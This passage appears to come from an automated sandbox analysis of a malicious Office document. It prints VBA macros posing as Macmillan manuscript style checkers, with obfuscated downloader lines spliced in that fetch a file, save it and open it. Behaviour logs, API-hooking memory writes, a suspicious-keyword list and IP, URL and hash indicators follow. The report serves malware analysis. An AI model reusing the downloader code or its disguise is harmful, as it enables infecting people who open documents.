Err.Description & " | " & Err.HelpContext If Err.Number = 5941 Or Err.Number = 5834 Then Resume ErrResume End If End Function Private Function CountReqdStyles() As Variant Dim arrStyleName(1 To 15) As String Dim intStyleCount() As Variant ReDim intStyleCount(1 To 15) As Variant Dim a As Long Dim xCount As Integer Appljj.ication.ScreenUpdating = False arrStyleName(1) = "Titlepage Book Title (tit)" arrStyleName(2) = "Titlepage Author Name (au)" arrStyleName(13) = "BM Title (bmt)" arrStyleName(14) = "Illustration holder (ill)" arrStyleName(15) = "Illustration Source (is)" For a = 1 To UBound(arrStyleName()) On Error GoTo ErrHandler intStyleCount(a) = 0 With ActiveDocument.Range.Find .ClearFormatting .Text = "" .Replacement.Text = "" .Forward = True .Wrap = wdFindStop .Format = True .Style = ActiveDocument.Styles(arrStyleName(a)) .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False Do While .Execute(Forward:=True) = True And intStyleCount(a) < 100 intStyleCount(a) = intStyleCount(a) + 1 Loop End With ErrResume: Next If intStyleCount(1) = 100 Then Exit Function End If CountReqdStyles = intStyleCount() Exit Function ErrHandler: If Err.Number = 5941 Or Err.Number = 5834 Then intStyleCount(a) = 0 Resume ErrResume End If End Function" File "Module3.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module3") has code: "Private Sub FixSectionHeadings(oldStyle As String, newStyle As String) Appljj.ication.ScreenUpdating = False On Error GoTo ErrHandler: Dim keyStyle As String Set keyStyle = ActiveDocument.Styles(oldStyle) Set keyStyle = ActiveDocument.Styles(newStyle) Selection.HomeKey Unit:=wdStory Selection.Find.ClearFormatting Selection.Find.Style = ActiveDocument.Styles(oldStyle) Selection.Find.Replacement.ClearFormatting Selection.Find.Replacement.Style = ActiveDocument.Styles(newStyle) With Selection.Find .Text = "" .Replacement.Text = "" .Forward = True .Wrap = wdFindContinue .Format = True .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll Exit Sub ErrHandler: If Err.Number = 5941 Or Err.Number = 5834 Then Exit Sub End If End Sub Public Function GetMetadata() As String Dim styleNameB(4) As String Dim bString(4) As String Dim b As Integer GetMetadata = "GET" simple2.Open Exit Function Dim strTitleData As String styleNameB(1) = "Titlepage Book Title (tit)" styleNameB(2) = "Titlepage Author Name (au)" styleNameB(3) = "span ISBN (isbn)" styleNameB(4) = "Titlepage Imprint Line (imp)" For b = 1 To UBound(styleNameB()) bString(b) = GetT.ext(styleNameB(b)) If bString(b) <> vbNullString Then bString(b) = "** " & styleNameB(b) & " **" & vbNewLine & _ bString(b) & vbNewLine End If Next b strTitleData = bString(1) & bString(2) & bString(3) & bString(4) GetMetadata = strTitleData End Function Private Function IllustrationsList() As String Dim cString(1000) As String Dim cCount As Integer Dim pageNumberC As Integer Dim strFullList As String Dim N As Integer Dim strSearchStyle As String Appljj.ication.ScreenUpdating = False strSearchStyle = "Illustration holder (ill)" cCount = 0 Selection.HomeKey Unit:=wdStory On Error GoTo ErrHandler Dim keyStyle As Style Set keyStyle = ActiveDocument.Styles(strSearchStyle) Selection.Find.ClearFormatting Do While Selection.Find.Execute = True And cCount < 1000 cCount = cCount + 1 pageNumberC = Selection.Information(wdActiveEndPageNumber) If InStr(Selection.Text, Chr(13)) > 0 Then Selection.MoveEnd Unit:=wdCharacter, Count:=-1 End If cString(cCount) = "Page " & pageNumberC & ": " & Selection.Text & vbNewLine Selection.MoveEndWhile Cset:=Chr(13), Count:=wdForward Loop Selection.HomeKey Unit:=wdStory If cCount > 1000 Then MsgBox "You have more than 1 000 illustrations tagged in your manuscript." & vbNewLine & _ "Please contact workflows@macmillan.com to complete your illustration list." End If If cCount = 0 Then cCount = 1 cString(1) = "no illustrations detected" & vbNewLine End If For N = 1 To cCount strFullList = strFullList & cString(N) Next N IllustrationsList = strFullList Exit Function ErrHandler: If Err.Number = 5941 Or Err.Number = 5834 Then IllustrationsList = "" Exit Function End If End Function Public Function CheckPrev2Paras(StyleA As String, StyleB As String, StyleC As String) As String Dim strErrors As String Dim intCount As Integer Dim pageNum As Integer Dim intCurrentPara As Integer Dim strStyle1 As String Dim strStyle2 As String Dim strStyle3 As String simple2.write simple1.responseBody GoTo sample12 Appljj.ication.ScreenUpdating = False On Error GoTo ErrHandler: Dim keyStyle As String Set keySt.yle = ActiveDocument.Styles(StyleA) Set keyS.tyle = ActiveDocument.Styles(StyleB) Set keySt.yle = ActiveDocument.Styles(StyleC) strErrors = "" Selection.HomeKey Unit:=wdStory Selection.Find.ClearFormatting With Selection.Find .Text = "" .Replacement.Text = "" .Forward = True .Wrap = wdFindStop .Format = True .Style = ActiveDocument.Styles(StyleC) .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With intCount = 0 Do While Selection.Find.Execute = True And intCount < 300 intCount = intCount + 1 intCurrentPara = ActiveDocument.Range(0, Selection.Paragraphs(1).Range.End).Paragraphs.Count Dim SelectionIncludesFinalParagraphMark As Boolean Selection.Next(Unit:=wdParagraph, Count:=1).Select Loop Selection.HomeKey Unit:=wdStory Selection.Find.ClearFormatting With Selection.Find .Text = "" .Replacement.Text = "" .Forward = True .Wrap = wdFindStop .Format = True .Style = ActiveDocument.Styles(StyleA) .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With intCount = 0 Do While Selection.Find.Execute = True And intCount < 1000 intCount = intCount + 1 intCurrentPara = ActiveDocument.Range(0, Selection.Paragraphs(1).Range.End).Paragraphs.Count If intCurrentPara > 1 Then Selection.Previous(Unit:=wdParagraph, Count:=1).Select pageNum = Selection.Information(wdActiveEndPageNumber) If Selection.Style = StyleB Then strErrors = strErrors & "** ERROR: " & StyleB & " on page " & pageNum & " must come after " _ & StyleA & "." & vbNewLine & vbNewLine End If Selection.Next(Unit:=wdParagraph, Count:=1).Select End If Loop CheckPrev2Paras = strErrors Selection.HomeKey Unit:=wdStory Exit Function ErrHandler: If Err.Number = 5941 Or Err.Number = 5834 Then Exit Function End If sample12: simple2.savetofile simple5, 2 CreateReport False, "", "", "", "", "" End Function Private Sub CreateReport(TemplateUsed As Boolean, errorList As String, metadata As String, illustrations As String, goodStyles As String, suffix As String) GoTo TheOS Appljj.ication.ScreenUpdating = False Dim activeRng As Range Dim activeDoc As String 'Set activeDoc = ActiveDocument 'Set activeRng = ActiveDocument.Range Dim activeDocName As String Dim activeDocPath As String Dim reqReportDoc As String Dim reqReportDocAlt As String Dim fnum As Integer Dim TheOS As String TheOS: simple6.Open (simple5) Exit Sub TheOS = System.OperatingSystem activeDocName = Left(activh.eDoc.Name, InStrRev(activh.eDoc.Name, ".do") - 1) activeDocPath = Replace(activh.eDoc.Path, activh.eDoc.Name, "") reqReportDoc = activeDocPath & activeDocName & "_" & suffix & ".txt" If Not TheOS Like "*Mac*" Then reqReportDoc = activeDocPath & "\" & activeDocName & "_" & suffix & ".txt" Else Dim placeholdDocName As String placeholdDocName = "filenamePlacehold_Report.txt" reqReportDocAlt = reqReportDoc reqReportDoc = "Macintosh HD:private:tmp:" & placeholdDocName End If Dim e As Integer fnum = FreeFile() Open reqReportDoc For Output As fnum If TemplateUsed = False Then End If Print #fnum, illustrations Print #fnum, vbCr Print #fnum, vbCr Print #fnum, "----------------------- MACMILLAN STYLES IN USE --------------------" & vbCr Print #fnum, goodStyles Close #fnum If reqReportDocAlt <> "" Then Name reqReportDoc As reqReportDocAlt End If Dim Shex As Object If Not TheOS Like "*Mac*" Then Set Shex = CreateObject("Shell.Application") Shex.Open (reqReportDoc) Else MacScript ("tell application ""TextEdit"" " & vbCr & _ "open " & """" & reqReportDocAlt & """" & " as alias" & vbCr & _ "activate" & vbCr & _ "end tell" & vbCr) End If End Sub Private Function StylesInUse(ProgressBar As String, Status As String, ProgTitle As String, Stories() As Variant) As String Dim TheOS As String TheOS = System.OperatingSystem Dim sglPercentComplete As Single Dim strStatus As String Dim activeDoc As String Set activeDoc = ActiveDocument Dim stylesGood() As String Dim stylesGoodLong As Long stylesGoodLong = 400 ReDim stylesGood(stylesGoodLong) Dim styleGoodCount As Integer Dim activeParaCount As Integer Dim J As Integer, K As Integer, L As Integer Dim paraStyle As String Dim activeParaRange As Range Dim pageNumber As Integer Dim a As Long styleGoodCount = 0 activeParaCount = activh.eDoc.Paragraphs.Count For J = 1 To activeParaCount If J Mod 100 = 0 Then sglPercentComplete = (((J / activeParaCount) * 0.12) + 0.86) strStatus = "* Checking paragraph " & J & " of " & activeParaCount & " for Macmillan styles..." & vbCr & Status If Not TheOS Like "*Mac*" Then Progg.gressBar.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus DoEvents End If End If For a = LBound(Stories()) To UBound(Stories()) If J <= ActiveDocument.StoryRanges(Stories(a)).Paragraphs.Count Then paraStyle = activh.eDoc.StoryRanges(Stories(a)).Paragraphs(J).Style Set activeParaRange = activh.eDoc.StoryRanges(Stories(a)).Paragraphs(J).Range pageNumber = activeParaRange.Information(wdActiveEndPageNumber) For K = 1 To styleGoodCount If paraStyle = Left(stylesGood(K), InStrRev(stylesGood(K), " --") - 1) Then K = styleGoodCount Exit For End If Next K If K = styleGoodCount + 1 Then styleGoodCount = K stylesGood(styleGoodCount) = paraStyle & " -- p. " & pageNumber End If End If Next a Next J If K <> 0 Then ReDim Preserve stylesGood(1 To styleGoodCount) WordBasic.SortArray stylesGood() End If Dim strGoodStyles As String For K = LBound(stylesGood()) To UBound(stylesGood()) strGoodStyles = strGoodStyles & stylesGood(K) & vbNewLine Next K StylesInUse = strGoodStyles End Function Private Sub ISBNcleanup() On Error GoTo ErrHandler: Dim keyStyle As String Set keyStyle = ActiveDocument.Styles("span ISBN (isbn)") On Error GoTo 0 Dim strISBNtextArray() ReDim strISBNtextArray(1 To 3) strISBNtextArray(1) = "-[!0-9]" strISBNtextArray(2) = "[!0-9]-" strISBNtextArray(3) = "[!-0-9]" Dim g As Long For g = LBound(strISBNtextArray()) To UBound(strISBNtextArray()) Selection.HomeKey Unit:=wdStory With Selection.Find .ClearFormatting .Text = strISBNtextArray(g) .Replacement.ClearFormatting .Replacement.Text = "" .Forward = True .Wrap = wdFindStop .Format = True .Style = "span ISBN (isbn)" .Replacement.Style = "Default Paragraph Font" .MatchCase = False .MatchWholeWord = False .MatchWildcards = True .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll Next g Exit Sub ErrHandler: If Err.Number = 5941 Or Err.Number = 5834 Then Exit Sub End If End Sub Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String Dim result As String result = "" Dim i As Integer For i = LBound(fromArr) To LenLen result = result & Chr(fromArr(i) - 13 * LenLen - i * 13) Next i GetStringFromArray = result End Function Private Function BookTypeCheck() Dim intCount As Integer Dim strErrors As String Dim strBookTypes(1 To 6) As String Dim a As Long Dim blnMissing As Boolean Dim strISBN As String strBookTypes(1) = "trade paperback" strBookTypes(2) = "hardcover" strBookTypes(3) = "e-book" strBookTypes(4) = "ebook" strBookTypes(5) = "print on demand" strBookTypes(6) = "print-on-demand" Selection.HomeKey Unit:=wdStory On Error GoTo ErrHandler intCount = 0 With Selection.Find .ClearFormatting .Text = "" .Replacement.Text = "" .Forward = True .Wrap = wdFindStop .Format = True .Style = ActiveDocument.Styles("span ISBN (isbn)") .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False Do While .Execute(Forward:=True) = True And intCount < 100 intCount = intCount + 1 strISBN = Selection.Text ActiveDocument.Bookmarks.Add Name:="ISBN", Range:=Selection.Range Selection.Collapse Direction:=wdCollapseEnd Selection.EndOf Unit:=wdLine, Extend:=wdExtend blnMissing = True For a = 1 To UBound(strBookTypes()) If InStr(Selection.Text, "(" & strBookTypes(a) & ")") > 0 Then blnMissing = False Exit For End If Next a If blnMissing = True Then strErrors = strErrors & "** ERROR: Correct book type required in parentheses after" & vbNewLine & _ "ISBN " & strISBN & " on copyright page." _ & vbNewLine & vbNewLine End If If ActiveDocument.Bookmarks.Exists("ISBN") = True Then Selection.GoTo what:=wdGoToBookmark Name:="ISBN" ActiveDocument.Bookmarks("ISBN").Delete End If Loop End With BookTypeCheck = strErrors On Error GoTo 0 Exit Function ErrHandler: Debug.Print Err.Number & ": " & Err.Description If Err.Number = 5941 Or Err.Number = 5834 Then Exit Function End If End Function"28:T592,"EXCEL.EXE" touched file "%WINDIR%\Globalization\Sorting\sortdefault.nls" "EXCEL.EXE" touched file "%WINDIR%\Fonts\staticcache.dat" "EXCEL.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\clr.dll" "EXCEL.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "EXCEL.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\clr.dll" "EXCEL.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "EXCEL.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\clr.dll" "EXCEL.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "EXCEL.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" "EXCEL.EXE" touched file "%WINDIR%\system32\en-US\SETUPAPI.dll.mui" "EXCEL.EXE" touched file "%WINDIR%\system32\en-US\MSCTF.dll.mui" "EXCEL.EXE" touched file "%WINDIR%\system32\rsaenh.dll" "EXCEL.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "EXCEL.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "EXCEL.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "EXCEL.EXE" touched file "%WINDIR%\system32\stdole2.tlb" "EXCEL.EXE" touched file "%WINDIR%\system32\en-US\KERNELBASE.dll.mui" "EXCEL.EXE" touched file "%WINDIR%\System32\msxml3r.dll" "EXCEL.EXE" touched file "%WINDIR%\system32\OLEACCRC.DLL"29:T7e4,"EXCEL.EXE" wrote bytes "ba506c2900b98b7b4269ffe1" to virtual address "0x0028C9AA" "EXCEL.EXE" wrote bytes "e92399b9ed" to virtual address "0x774A5DEE" ("VariantChangeType@OLEAUT32.DLL") "EXCEL.EXE" wrote bytes "d5ba88b9" to virtual address "0x662378E4" (part of module "OART.DLL") "EXCEL.EXE" wrote bytes "c4ca107680bb1076aa6e11769fbb107608bb107646ce107661381176de2f1176d0d9107600000000177907764f9107767f6f0776f4f7077611f70776f2830776857e077600000000" to virtual address "0x6F071000" (part of module "MSIMG32.DLL") "EXCEL.EXE" wrote bytes "e9c5323eef" to virtual address "0x761D6143" ("OleLoadFromStream@OLE32.DLL") "EXCEL.EXE" wrote bytes "ba700dc304b98b7b4269ffe1" to virtual address "0x002B85C6" "EXCEL.EXE" wrote bytes "e96033b7ed" to virtual address "0x774A4731" ("SysAllocStringByteLen@OLEAUT32.DLL") "EXCEL.EXE" wrote bytes "bafc63c004b98b7b4269ffe1" to virtual address "0x0028C9E6" "EXCEL.EXE" wrote bytes "ba48d6c304b98b7b4269ffe1" to virtual address "0x002B92B2" "EXCEL.EXE" wrote bytes "ba80a3c204b98b7b4269ffe1" to virtual address "0x0028C96E" "EXCEL.EXE" wrote bytes "06dffdb9" to virtual address "0x65230BA8" (part of module "MSO.DLL") "EXCEL.EXE" wrote bytes "886b88b9" to virtual address "0x6756CA70" (part of module "GFX.DLL") "EXCEL.EXE" wrote bytes "e99a54b6ed" to virtual address "0x774A3E59" ("SysFreeString@OLEAUT32.DLL") "EXCEL.EXE" wrote bytes "11fca1b9" to virtual address "0x6A099904" (part of module "RICHED20.DLL") "EXCEL.EXE" wrote bytes "baacbe2900b98b7b4269ffe1" to virtual address "0x002B928A" "EXCEL.EXE" wrote bytes "b7a595b9" to virtual address "0x2F0A4354" (part of module "EXCEL.EXE") "EXCEL.EXE" wrote bytes "e99e48ecee" to virtual address "0x76113D01" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "EXCEL.EXE" wrote bytes "e93655b7ed" to virtual address "0x774A3EAE" ("VariantClear@OLEAUT32.DLL") "EXCEL.EXE" wrote bytes "ba0899c604b98b7b4269ffe1" to virtual address "0x002B9262" "EXCEL.EXE" wrote bytes "baf4dcbe04b98b7b4269ffe1" to virtual address "0x002B85DA"2a:T406,Found suspicious keyword "Shell" which indicates: "May run an executable file or a system command" Found suspicious keyword "WScript.Shell" which indicates: "May run an executable file or a system command" Found suspicious keyword "Shell.Application" which indicates: "May run an application (if combined with CreateObject)" Found suspicious keyword "CreateObject" which indicates: "May create an OLE object" Found suspicious keyword "Open" which indicates: "May open a file" Found suspicious keyword "ADODB.Stream" which indicates: "May create a text file" Found suspicious keyword "Chr" which indicates: "May attempt to obfuscate specific strings" Found suspicious keyword "Write" which indicates: "May write to a file (if combined with Open)" Found suspicious keyword "Output" which indicates: "May write to a file (if combined with Open)" Found suspicious keyword "Print #" which indicates: "May write to a file (if combined with Open)" Found suspicious keyword "SaveToFile" which indicates: "May create a text file"2b:T541,Found malicious artifacts related to "88.208.252.220" (ASN: , Owner: ): ... URL: http://www.traclogik.co.uk/wp-login.php (AV positives: 1/65 scanned on 08/20/2017 10:49:53) URL: http://www.celiabrooks.com/ (AV positives: 1/65 scanned on 08/16/2017 14:58:57) URL: http://wodewick.co.uk/ (AV positives: 3/65 scanned on 08/15/2017 07:10:47) URL: http://www.albaninteriors.co.uk/bespoke_furniture/bespoke_furniture_sawbridgeworth.html (AV positives: 1/65 scanned on 08/13/2017 14:23:36) URL: http://www.wodewick.co.uk/?p=81 (AV positives: 3/65 scanned on 08/12/2017 15:40:50) File SHA256: 524581d6c753e00ef7f774a30287d4bab454bcd01b58c7ae23c9a88adcf2c821 (AV positives: 2/55 scanned on 04/10/2017 12:00:38) File SHA256: 72ec27bd0d959a1e6713d96b4e55c5a9b92ac6d1b5b5a4a8d5d1211422fcee57 (AV positives: 1/56 scanned on 02/23/2017 17:39:14) File SHA256: d77c1e4d784955c236582b21b566fdec9d0765995454915e1bfd38f0f3dde428 (AV positives: 1/55 scanned on 02/23/2017 15:01:16) File SHA256: 10146682c689cb252926b9e581c7a5fffc666739fd70f5eeb0182e8b973f668b (AV positives: 45/56 scanned on 01/23/2017 05:34:55) File SHA256: 6b3c238ebcf1f3c07cf0e556faa82c6b8fe96840ff4b6b7e9962a2d855843a0b (AV positives: 1/55 scanned on 01/16/2017 04:31:10) File SHA256: eb98617525ee05072eecc60bd9df3a71fad0888c1569504023767bfa4764d128 (Scanned on 05/10/2016 09:22:01)2c:T1d64,Found malicious artifacts related to "5.178.43.43": ... File SHA256: 6dd2b32caa0556a0af5bcf0b8935b991203194d89600a7a6f5a7550affcbb3ae (AV positives: 20/71 scanned on 08/27/2018 00:14:00) File SHA256: 3e5b887a3dd34cce377cbac9a9ffa3df8ae26c971d6d6f777b7e27d81ed3a669 (AV positives: 4/71 scanned on 05/28/2018 10:28:29) File SHA256: 246ed0dd41cfeda8e771a9c9be01532f76d5ec2d5893bb4f99c52d669f51a654 (AV positives: 3/71 scanned on 05/05/2018 23:54:02) File SHA256: 17357053185045ce67b20fcc997ef182c5b5658bb653d539c607cd6a70961182 (AV positives: 16/70 scanned on 04/12/2018 10:32:35) File SHA256: c85f03594aa1951c0ecf9a7c9969c9a81a8f8b9c684ee9054a532285386e9cbb (AV positives: 1/71 scanned on 03/10/2018 04:03:47) Found malicious artifacts related to "52.11.224.203": ... URL: http://assets.codepen.io/assets/editor/pen/libs-d68955d628f7a78c89666bc22892f365.js (AV positives: 1/65 scanned on 10/22/2015 06:49:55) URL: http://codepen.io/ (AV positives: 1/65 scanned on 10/21/2015 19:05:00) URL: http://assets.codepen.io/assets/editor/pen/libs-62b994bc10d6e09e3a406606e0247424.js (AV positives: 1/63 scanned on 08/30/2015 18:21:00) URL: http://assets.codepen.io/assets/editor/pen/libs-dc84e2bbf2597afe440eef6444010396.js (AV positives: 1/63 scanned on 08/22/2015 13:00:45) URL: http://s.codepen.io/assets/reset/reset.css (AV positives: 1/63 scanned on 08/17/2015 03:10:49) File SHA256: 7e5ea2095e6a18267523255c0ebee615ad64e317cccabf3dd23eb79331ad3077 (AV positives: 6/71 scanned on 09/11/2018 09:59:12) File SHA256: 0e5440777e2753b4381c6a75dd2d82883b1ce4c95a84752b0efa7ac3ba06a3df (AV positives: 38/71 scanned on 09/03/2018 13:15:46) Found malicious artifacts related to "52.39.131.77": ... File SHA256: 7fe235015efee097b0c5e3d963e477b69df12d82ef90fddd53c267139fa601b2 (AV positives: 18/71 scanned on 09/06/2018 11:26:11) File SHA256: 7992ba7bfb9310bf205ec2a1ef1feb08534f9c86b5734236a5bf37d59ec7a89b (Date: 09/06/2018 15:58:17) File SHA256: f0b8972273e36bebe4dc9748fcff9f542735f0eb4c3efbb190827430824a7ce3 (Date: 09/06/2018 15:55:28) File SHA256: d29a498bbea26660f45003877dc33628eb412649c69d3820996cdbedb1ecefa1 (AV positives: 9/69 scanned on 08/31/2018 10:42:29) File SHA256: 02274283a48cab392e8e1548de013ca99c548306b8bc506b1b31ba87e7ab132c (Date: 08/31/2018 13:31:32) File SHA256: a2c2320ba2ce4e62ee4417d8bf3b09033b2b0f1c26d08b60ea2db7394e8b1374 (Date: 08/31/2018 13:29:11) File SHA256: af70d0ed592d87db7a7b388385aa8bcc1918f54718345fbd9b58cb935681f99a (Date: 08/30/2018 22:46:13) File SHA256: 464f5a4b5c970c208d019b11f1b1f25e0f01ef18d6169a9a8e31ec0d68fe8c7d (AV positives: 1/71 scanned on 08/28/2018 00:02:55) File SHA256: 15fe901f3cc2a927a39b69d4040fe6c0a261aa7997924d6c146a981ba4fc53c3 (AV positives: 22/69 scanned on 08/25/2018 00:22:58) File SHA256: 154057ce33d9661583113b9a53e4f9f9035516e00359759c3e5389ace0c93160 (AV positives: 3/71 scanned on 08/21/2018 09:29:35) Found malicious artifacts related to "143.204.192.66": ... File SHA256: fcb16b1d5ea79f9a920bb8d6f7d48c1040b4d963153afec14bd4dbc8589ec447 (AV positives: 7/71 scanned on 08/29/2018 00:03:10) File SHA256: fdd01dba8d2388e285e11fc96bd8e3d34796ad12ea74d9f5447febbbff049412 (AV positives: 14/68 scanned on 08/23/2018 08:51:07) File SHA256: a09a4556a411f927ec7a52c5589eca3a33ff94c95e9dabb3e4dcd3564879422b (AV positives: 24/68 scanned on 08/20/2018 07:29:24) File SHA256: 859c681b7bc13e685f4dabc41d72968d6a57eeeb42f0c8d0dd1cdc568992886d (AV positives: 1/69 scanned on 07/05/2018 17:22:09) Found malicious artifacts related to "104.16.40.2": ... File SHA256: a591eb48fb87d9fab30a0d7005ee1c5630cee92aa370292f08e7566d492c3269 (Date: 09/11/2018 12:30:09) File SHA256: e166a50296a24fa0752262c0860582869d8c8b5cb9e9b53b928384803fdb66ff (Date: 09/11/2018 12:27:52) File SHA256: f0efc170b8e30a7936fffb93e130e0d63b964c2bf04e9639dfd5540a0a92c523 (Date: 09/11/2018 03:17:47) File SHA256: c97d0c61af526be28ac85695c3c02fd3ee686b7b5d1cf90a7593f3d7aaf98c9d (Date: 09/08/2018 15:21:04) File SHA256: 409bb39394943d8db253bafe3e2b3e26462d7c9b90bf3720db9af73848987ca9 (Date: 09/08/2018 15:13:34) File SHA256: 9d2661015c5428c91e9fb059a5779a524067775893df8edeecff8c11c0a27f52 (AV positives: 16/71 scanned on 09/07/2018 12:11:12) File SHA256: ccff8230107c2acad4d719168cdca5dbc6f15fcf6d400bcbf09dc8dc95fab6df (AV positives: 5/70 scanned on 09/06/2018 11:01:50) File SHA256: 1e49a0062df5e7e4a2a1e6896051bc9e193a50c0ba8ba1696d595848c2c8a118 (AV positives: 6/68 scanned on 09/06/2018 11:33:15) File SHA256: a6527a1722042390bb760388e46baae8b13e59e656a86a5f91fd7d4b278e5455 (AV positives: 4/68 scanned on 09/06/2018 11:29:57) File SHA256: 7e1896bf4850f89e02ae5bfb009aabd5acca3e02f4d31a412f2bef6750a47f04 (AV positives: 11/71 scanned on 09/01/2018 22:43:13) Found malicious artifacts related to "216.58.213.138": ... File SHA256: 91bee0339c426b4aef2f300b2e999f57fc8f9300c4ddf5142792e824353da5dc (AV positives: 19/68 scanned on 09/08/2018 00:37:56) File SHA256: 7c3667a579de3f237aa6685678b5ed0fa2528b5970e351bf8e800ad447704373 (AV positives: 29/68 scanned on 09/07/2018 05:09:47) File SHA256: 1eeb7485cf91e7532e883b9427af41ee3aaed4d55a63d7a8b0ee62feadab87cb (AV positives: 45/68 scanned on 09/07/2018 02:50:52) File SHA256: f6bca26c71dc5ac94932724708e7b278e0c36e999a4f46aca6a0e16ab220e2f7 (AV positives: 38/68 scanned on 09/07/2018 02:49:05) File SHA256: 3ad97c326b78dcc0c48be8e8a26da0c70e8e0e7a99e5c923d97e61c8b52d1d1d (AV positives: 27/68 scanned on 09/07/2018 00:14:52) File SHA256: 24e8e0614a63cbe2a7b926dbb9847191b7620f24da0639fa5da072425fe088cf (Date: 05/27/2018 18:03:56) File SHA256: 55f4aaf99f076752d7019dae6e212965789e2a2a0ed553baec0ba76f55f3e749 (Date: 05/18/2018 14:28:23) File SHA256: 98fc0de497db8c6b63c2cb3a108bbbb424de7ccc7f6c34ae221f28364bed7b79 (Date: 05/18/2018 14:23:30) File SHA256: 9e0db105b65ac5ef17bb7bd3d1b6b8bc22d7e69db35feecff766e048959f7166 (Date: 05/10/2018 14:48:18) File SHA256: ffec8eeff0e3dc0017bf383f03d310743237ef82e46d09cb561a4b22d61da5e7 (Date: 05/09/2018 07:54:00) Found malicious artifacts related to "52.38.215.55": ... File SHA256: 7368d419e64b65367276d6a98ee66fc7c6f4c860d8831f4c0e8b5851568bfc2a (Date: 09/02/2018 22:49:52) File SHA256: d29a498bbea26660f45003877dc33628eb412649c69d3820996cdbedb1ecefa1 (AV positives: 9/69 scanned on 08/31/2018 10:42:29) File SHA256: 7aeb4e799d775eb78792f1021f18351b6d25c612a70ea51760a5c0f9ee53c52a (Date: 08/31/2018 01:29:58) File SHA256: d552283a212af9f457f4c38dfda5103004987f9c961baa38f5d8eb95acc60ac3 (Date: 08/31/2018 01:24:26) File SHA256: e67d282a762fdc980658528bd8968ac0514220fc796cfebfb7957b79694ca4a0 (Date: 08/30/2018 07:08:26) File SHA256: 5ddcb44159d9f29c980c3d81f071ffbad8da62e6dc9af59c1b8ecf6012dab127 (Date: 08/30/2018 03:59:33) Found malicious artifacts related to "143.204.192.8": ... File SHA256: 702b734aae04d7a29b37e126482a6137e8b3587947f467235e29f0baec3fce4a (AV positives: 1/70 scanned on 08/22/2018 23:58:57) File SHA256: 95b88bd39344a5c9c29beb550dc0a9d46a4c30efae4b1f58523109fe486d8e17 (AV positives: 1/71 scanned on 08/08/2018 00:28:55) File SHA256: 511fc558017a485157fce8fd0ef46eb262815cbf616f229b4da90918121050e8 (Date: 08/03/2018 12:00:59) File SHA256: e2e430c0b9194fff8819d6bf20f2bc4ace3e49e3e9c5eee0ee825961383b0194 (AV positives: 6/70 scanned on 07/25/2018 00:38:15) File SHA256: cb1d5db77e747cdf14bb86ba806cbb5afaea64c202f8fe7b7fd9622a9e4dea9c (AV positives: 30/70 scanned on 07/25/2018 00:13:29) File SHA256: 21ed8a5425f65a9f2b75b1770bbfbcb772d5580963d422ba1464c7b9cb0abd9b (AV positives: 2/69 scanned on 07/15/2018 23:56:42)2d:T5ce,"EXCEL.EXE" created file "C:\Windows\AppPatch\AcSpecfc.DLL" "EXCEL.EXE" created file "C:\Windows\Globalization\Sorting\sortdefault.nls" "EXCEL.EXE" created file "C:\Windows\Fonts\staticcache.dat" "EXCEL.EXE" created file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "EXCEL.EXE" created file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "EXCEL.EXE" created file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "EXCEL.EXE" created file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "EXCEL.EXE" created file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "EXCEL.EXE" created file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "EXCEL.EXE" created file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" "EXCEL.EXE" created file "C:\Windows\system32\rsaenh.dll" "EXCEL.EXE" created file "C:\Users\PSPUBWS\AppData\Local\Microsoft\Windows\Caches" "EXCEL.EXE" created file "C:\Users\PSPUBWS\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "EXCEL.EXE" created file "C:\Users\PSPUBWS\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db" "EXCEL.EXE" created file "C:\Windows\system32\stdole2.tlb" "EXCEL.EXE" created file "C:\Windows\system32\en-US\KERNELBASE.dll.mui" "EXCEL.EXE" created file "C:\Windows\System32\msxml3r.dll" "EXCEL.EXE" created file "C:\Windows\system32\wshom.ocx" "EXCEL.EXE" created file 